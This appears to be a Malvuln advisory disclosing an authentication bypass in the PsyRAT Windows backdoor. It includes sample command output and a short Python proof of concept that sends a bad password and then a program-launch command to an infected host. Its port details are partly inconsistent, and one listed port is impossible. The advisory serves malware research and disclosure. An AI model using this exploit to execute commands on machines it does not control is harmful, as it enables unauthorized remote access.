Backdoor.Win32.Agent.ju (PSYRAT) MVID-2024-0677 Bypass / Command Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.ju (PSYRAT)  
Vulnerability: Authentication Bypass RCE  
Family: PSYRAT  
Type: PE32  
MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3  
Vuln ID: MVID-2024-0677  
Disclosure: 04/01/2024  
  
Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet.  
  
getdrives   
C\ - Fixed Drive^D\ - CD-ROM^  
  
cpuinfo   
Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URL  
  
exe_sho [Program_Name] starts a program   
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=55116  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
#send bad password  
PAYLOAD="malvuln"   
s.send(PAYLOAD.encode())  
  
#call commands  
PAYLOAD="exe_sho calc"   
s.send(PAYLOAD.encode())  
  
s.close()  
  
  
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